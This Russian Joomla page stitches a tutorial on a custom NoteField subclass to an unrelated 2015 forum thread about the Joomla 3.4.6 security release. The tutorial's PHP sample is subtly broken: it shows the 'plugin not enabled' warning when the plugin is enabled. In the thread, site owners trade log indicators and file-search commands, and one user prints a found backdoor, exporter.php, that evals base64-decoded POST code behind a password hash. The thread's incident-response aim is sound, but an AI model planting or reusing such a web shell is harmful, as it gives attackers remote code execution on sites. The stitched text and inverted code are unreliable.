Новости Joomla

Свои типы полей в Joomla.

Свои типы полей в Joomla.Это большая тема, о которой можно говорить очень много

Это большая тема, о которой можно говорить очень много. Самое главное, что возможности применения ограничиваются только вашей больной фантазией. Вы строите интерфейс своего модуля или плагина и вам нужно подтянуть данные из сторонней системы (список чего-нибудь по какому-нибудь API), чтобы сохранить выбранный id в Joomla. Или сделать какую-то проверку и в зависимости от неё показать то или иное сообщение пользователю. Для этого подойдут свои пользовательские типы полей. Интерфейс Joomla по большей части описан в XML-файлах. У каждого из них свои параметры. Некоторые не описаны в документации (manual.joomla.org), поэтому самым любопытным будет полезно заглянуть в собственно файлы фреймворка по пути

libraries/src/Form/FormField.php, а так же в
libraries/src/Form/Fields. У каждого класса поля перечислены его специфические свойства, которые можно описывать в XML. А в своём типе поля вы можете устанавливать эти значения программно. В моём модуле WT Quick links под капотом происходят изменения. Теперь для работы (в админке) ему нужен вспомогательный плагин. А в самом модуле нам бы проверить, а не выключен ли он? В Joomla есть тип поля Note - заметка. Его можно использовать для вывода примечаний.

<field type="note" name="your_note_for_user" label="Заголовок примечания" title="Альтернативный способ для заголовка" description="Текст примечания" class="col-12 alert alert-info" heading="h1" close="true" />

heading - указывать уровень заголовка.
close - позволяет закрыть это примечание. В классе поля
libraries/src/Form/Field/NoteField.php описана логика вывода. И в принципе оно нам подходит для нашей задачи. Но оно будет выводить сообщение всегда, а нам нужно только тогда, когда плагин отключён. Поэтому берём и создаём свой класс поля, который мы унаследуем от
NoteField. Это значит, что у нас в руках будет весь инструментарий стандартного поля
Note + то, что мы сами добавим. В XML-манифест добавляем наше поле

<field type="systempluginstatus" name="systempluginstatus" addfieldprefix="Joomla\Module\Wtquicklinks\Site\Fields"/>

-

type - имя файла и класса,-
addfieldprefix - указываем namespace к нашему классу, может быть любой нам нужный-
name - нельзя полю без имени...Это означает, что Joomla будет использовать класс поля из файла
modules/mod_wt_quick_links/src/Fields/SystempluginstatusField.php.А в классе поля будет написано следующее:

<?php // namespace для атрибута addfieldprefix namespace Joomla\Module\Wtquicklinks\Site\Fields; // нельзя напрямую обращаться к этому файлу defined('_JEXEC') or die; // подключаем родительский класс для переопределения use Joomla\CMS\Form\Field\NoteField; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\PluginHelper; // имя класса и имя файла точь-в-точь class SystempluginstatusField extends NoteField { protected $type = 'Systempluginstatus'; protected function getLabel() { // если плагин не включён if(PluginHelper::isEnabled('system','wtquicklinks')) { // меняем свойства родительского класса $this->class = 'alert alert-danger w-100'; $this->element['label'] = '⚠️ А-а-а-а!'; $this->element['description'] = 'Плагин не включён!!'; // и просто рендерим его с нашими свойствами return parent::getLabel(); } // А иначе всё хорошо, скрываем поле из виду. $this->parentclass = 'd-none'; return ''; } }

Просто и удобно. И людям приятно, что о них позаботились и рассказали почему что-то не работает. @webtolkru#joomla #php #webdev #разработка

0 Пользователей и 1 Гость просматривают эту тему.
  • 127 Ответов
  • 12149 Просмотров
*

Dmitriy50

  • Захожу иногда
  • 96
  • 4 / 11
  • TV
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #60 : 16.12.2015, 13:39:21 »
Вам не просто файлы почистить теперь надо, вам надо просканировать весь сайт на предмет стороннего кода.

Важно! Если кто видит у себя в логах
Код
JDatabaseDriverMysqli
или
Код
O:
это означает что вас уже взломали!
Искать требуется Вам теперь сторонний код на сайте, полностью сканировать и чистить, если хостинг и несколько сайтов то на всех соседних которые не разграничены по правам и пользователям.

Если бы знать как он выглядит ... этот "сторонний код" :-(
*

fsv

  • Живу я здесь
  • 2781
  • 410 / 2
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #61 : 16.12.2015, 13:40:50 »
Если после - то пытались взломать
ok. спасибо, так и думал, особо не напрягаясь. Озадачила цитата без вариантов, которую привел.
Веб-разработка: заказ. Только новая разработка.
*

flyingspook

  • Живу я здесь
  • 3590
  • 247 / 9
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #62 : 16.12.2015, 14:37:35 »
Это означает, что кто-то подменил строку User Agent. Сей факт подтверждает лишь факт атаки, но не взлома.
На уязвимом движке 99.99999*% это атака закончилась заливом шела. Если не настраивался сервер или еще какие работы не велись в плане безопасности, а это не ведется у более 90% пользователей.
*

jurassik

  • Давно я тут
  • 692
  • 52 / 1
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #63 : 16.12.2015, 14:58:17 »
а нет-ли плагина который уведомлял бы администратора по емайлу, о выходе новой версии установленных расширений и необходимости обновлении движка Joomla?
сам шучу - сам смеюсь
*

wishlight

  • Гуру
  • 5051
  • 314 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #64 : 16.12.2015, 15:02:17 »
уведомлял бы администратора по емайлу

http://extensions.joomla.org/extension/cupdater

Типа такого?
*

rom_4

  • Захожу иногда
  • 87
  • 4 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #65 : 16.12.2015, 17:39:51 »
Цитировать
Признаком заражения может служить наличие в логах "JDatabaseDriverMysqli" и "O:" в User-agent запросов.

А если есть в логах JDatabaseDriverMysqli, что делать? Достаточно поставить заплатку или нет?[
*

wishlight

  • Гуру
  • 5051
  • 314 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #66 : 16.12.2015, 17:42:10 »
А если есть в логах JDatabaseDriverMysqli, что делать? Достаточно поставить заплатку или нет?[

По возможности проверить созданные и измененные файлы. Можно еще айболитом просканировать.
*

shweew

  • Осваиваюсь на форуме
  • 35
  • 0 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #67 : 16.12.2015, 17:44:37 »
 Что конкретно искать то?
*

wishlight

  • Гуру
  • 5051
  • 314 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #68 : 16.12.2015, 17:50:56 »
Что айболит покажет проверить на наличие вредоносного кода. Ну и измененные файлы проверить. У кого есть ssh можно воспользоватся

Для проверки только php файлов.
Код
find /путь к сайту -name '*.php' -type f -mtime -1 -exec ls -al  {} \;

Всех

Код
find /путь к сайту -type f -mtime -1 -exec ls -al  {} \;

mtime -1 - дата минус 1 день
-name '*.php' - маска файла
*

Physicist

  • Глобальный модератор
  • 984
  • 194 / 0
  • Рябов Денис
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #69 : 16.12.2015, 18:26:26 »
Код
find /путь к сайту -name '*.php' -type f -mtime -1 -exec ls -al  {} \;
Это не всегда помогает, сейчас вредоносы достаточно умные, чтобы либо патчить имеющийся php файл с сохранением даты (filemtime/touch), либо создавать файл в уже существующей (под-под-...)директории, а дату создания файла устанавливать равной дате создания этой директории.
*

shweew

  • Осваиваюсь на форуме
  • 35
  • 0 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #70 : 16.12.2015, 18:53:09 »
А в логах апача как то ещё, кроме ...JDatabaseDriverMysqli... отслеживается?
Или если есть в логе ...JDatabaseDriverMysqli... , а заплатка не стояла, то стопудово поломали?
*

flyingspook

  • Живу я здесь
  • 3590
  • 247 / 9
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #71 : 16.12.2015, 19:13:46 »
А в логах апача как то ещё, кроме ...JDatabaseDriverMysqli... отслеживается?
Или если есть в логе ...JDatabaseDriverMysqli... , а заплатка не стояла, то стопудово поломали?
Если нет ни каких доп. защит то да
В логах должны быть видны действия после вызова JDatabaseDriverMysqli ну и от них отталкиваясь видно до момента когда уже начнут шел использовать, потом только вызовы сторонних или движка сайта PHP файлов.

По логам искать вредоносный код не получиться, по ним только смотреть для анализа можно.
*

shweew

  • Осваиваюсь на форуме
  • 35
  • 0 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #72 : 16.12.2015, 19:20:26 »
Ну и фиг с ними, откатил сайт на позавчера.
А базу тоже откатывать? До фига там у меня...
*

flyingspook

  • Живу я здесь
  • 3590
  • 247 / 9
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #73 : 16.12.2015, 19:23:59 »
Ну и фиг с ними, откатил сайт на позавчера.
А базу тоже откатывать? До фига там у меня...
У вас что бэкапы разные файлов и бд?
Базу проверить можно на предмет пользователей лишних и расширений не вами установленных, могли успеть залить и завести.
*

shweew

  • Осваиваюсь на форуме
  • 35
  • 0 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #74 : 16.12.2015, 19:34:51 »
Да, у меня раздельные бэкапы.
В базе нового пользователя нет, приложений вроде бы тоже не отмечено, да и похерятся они (приложения) при откате сайта.
*

flyingspook

  • Живу я здесь
  • 3590
  • 247 / 9
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #75 : 16.12.2015, 19:56:46 »
Да, у меня раздельные бэкапы.
В базе нового пользователя нет, приложений вроде бы тоже не отмечено, да и похерятся они (приложения) при откате сайта.
Файлы да похерятся, а в бд запись останется если что то было установлено.
*

miminfo

  • Осваиваюсь на форуме
  • 19
  • 0 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #76 : 16.12.2015, 20:07:18 »
 а как быть  с 1.6   и 1.7?  (файлы для Joomla 1.5 и 2.5 не подходят)
*

voland

  • Легенда
  • 11028
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #77 : 16.12.2015, 20:20:24 »
а как быть  с 1.6   и 1.7?  (файлы для Joomla 1.5 и 2.5 не подходят)
В них всё равно число дырок слишком большое.
Давно надо было обновить минимум до 2,5
*

shweew

  • Осваиваюсь на форуме
  • 35
  • 0 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #78 : 16.12.2015, 20:42:49 »
Я не шибко разбираюсь в веб-программировании, потому вопрос: что делает этот запрос, который ...JDatabaseDriverMysqli...?
« Последнее редактирование: 16.12.2015, 20:52:23 от shweew »
*

voland

  • Легенда
  • 11028
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #79 : 16.12.2015, 20:52:12 »
Позволяет выполнить любой код.
Совершенно любой.
*

Sergeyy

  • Захожу иногда
  • 154
  • 3 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #80 : 16.12.2015, 21:26:37 »
А в Joomla 2.5 нет такого classa JDatabaseDriverMysqli
да?
там JDatabaseMySQLi
Или Я что-то не так понимаю?
*

rom_4

  • Захожу иногда
  • 87
  • 4 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #81 : 16.12.2015, 21:43:53 »
смотрите логи. если ваш сайт "щупали" то в логах есть
*

mickymouse

  • Захожу иногда
  • 133
  • 8 / 1
  • Ушел в нирвану буду скоро!
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #82 : 16.12.2015, 22:21:28 »
Ух обновился вовремя, так как потом логи разрывались )))) от попыток!
*

maxpa

  • Захожу иногда
  • 67
  • 2 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #83 : 16.12.2015, 22:50:03 »
Вчера ночью пропатчил все сайты, сегодня смотрел логи. Нашел несколько строк с JDatabaseDriverMysqli. Время в логах когда файл еще не был пропатчен. В файлах J2,5 Айболит ничего  подозрительного не нашел, а в файлах J3 найден файлик site/libraries/joomla/exporter.php. У кого то есть подобное.
*

shweew

  • Осваиваюсь на форуме
  • 35
  • 0 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #84 : 16.12.2015, 22:56:39 »
site/libraries/joomla/exporter.php
Нет такого.
*

maxpa

  • Захожу иногда
  • 67
  • 2 / 0
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #85 : 16.12.2015, 23:13:07 »
Вообщем проверил около 20 сайтов - все сайты, потенциально взломанные и работающие на J 3 имеют данный файл exporter.php. В файле всего 1 строка - <?php if (md5($_POST["password"]) == "4286e57cd610ccd917c0122b9ccf84c0") { preg_replace("\043\056\052\043\145", "\145\166\141\154\050\142\141\163\145\066\064\137\144\145\143\157\144\145\050'" . $_POST["code"] . "'\051\051\073", ""); } ?>
*

Филипп Сорокин

  • Завсегдатай
  • 1918
  • 160 / 4
  • разработчик.москва
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #86 : 17.12.2015, 06:14:40 »
Если Вы в логах сервера обнаружили запрос "JDatabaseDriverMysqli" ДО того по времени, как было поставлено обновление joomla-3.4.6, Это гарантированный взлом сайта.
На вашем сервере гарантированно был выполнен скрипт присланный в переменной $_POST!

Где можно почитать механику процесса? Почему взлом был произведён гарантированно, можете объяснить?
*

flyingspook

  • Живу я здесь
  • 3590
  • 247 / 9
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #87 : 17.12.2015, 10:29:22 »
Где можно почитать механику процесса? Почему взлом был произведён гарантированно, можете объяснить?
Вы взламывать собираетесь?  :laugh:
Механика уже давно одна и та же, ни чего нового.

-находится уязвимость
-боту или руками делается её выполнение
-заливается на прямую или со стороннего сервера файл для соединения
-через него заливаются шелы в разные папки по иерархи
-делается массово и взлом могут производить за раз не одна сеть ботнетов
-потом узнают про залитые файлы и их названия другие
-и они по ним пройдутся, как это было после первых турецких взломов с подменой index.php в 2009-2010г.г. которые несли массовые первые взломы движка 1.5.* в котором не было уязвимости

Обычно через 2-3 месяца названия файлов и где какой код встроен той или иной сеткой ботнетов узнают другие и начинают использовать эти возможности в своих интересах, в соседней теме описан код залитый которым залили шел и закрыли уязвимость сессий, заботливые хакеры, позаботились что бы ни кто другой не получил доступ к серверу.

Ну а использование взломанных сайтов очевидна
-слив бд
-рассылка спама
-ну и сам сервер в сеть ботнетов для дальнейших взломов, и про это уже ни кто из владельцев знать не будет

то что какие то ссылки появляются или коды бирж вставляют это уже не из сетей ботнетов, это остаточное явление

Почитайте, про механику поверхностно в интернете много написано, остальное поймете если разбираетесь в вопросе.
*

b2z

  • Глобальный модератор
  • 7284
  • 778 / 0
  • Разраблю понемногу
*

al707

  • Осваиваюсь на форуме
  • 42
  • 2 / 0
  • Тамиров Александр
Re: Новый релиз безопасности Joomla! 3.4.6
« Ответ #89 : 17.12.2015, 12:50:26 »
Вот давайте тут не будем ещё и механику разбирать, а?
Почему?
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Нужна проф помощь в обновлении Joomla на лок.сервере osp. Можно платно

Автор Fati

Ответов: 0
Просмотров: 59
Последний ответ 16.06.2025, 16:40:04
от Fati
Помогите с БАГом в панели администратора Joomla 3

Автор akteon25

Ответов: 2
Просмотров: 1110
Последний ответ 26.02.2025, 16:41:56
от akteon25
Версии РНР и Joomla 3

Автор Ebelous

Ответов: 8
Просмотров: 2878
Последний ответ 27.01.2025, 20:38:45
от pavelrer
Trouble Upgrading from Joomla 3.8 to 3.9

Автор melissa00

Ответов: 0
Просмотров: 1710
Последний ответ 26.07.2024, 10:03:51
от melissa00
SP polls в Joomla 3.8.2

Автор wawont

Ответов: 2
Просмотров: 3379
Последний ответ 22.02.2024, 21:03:15
от Zegeberg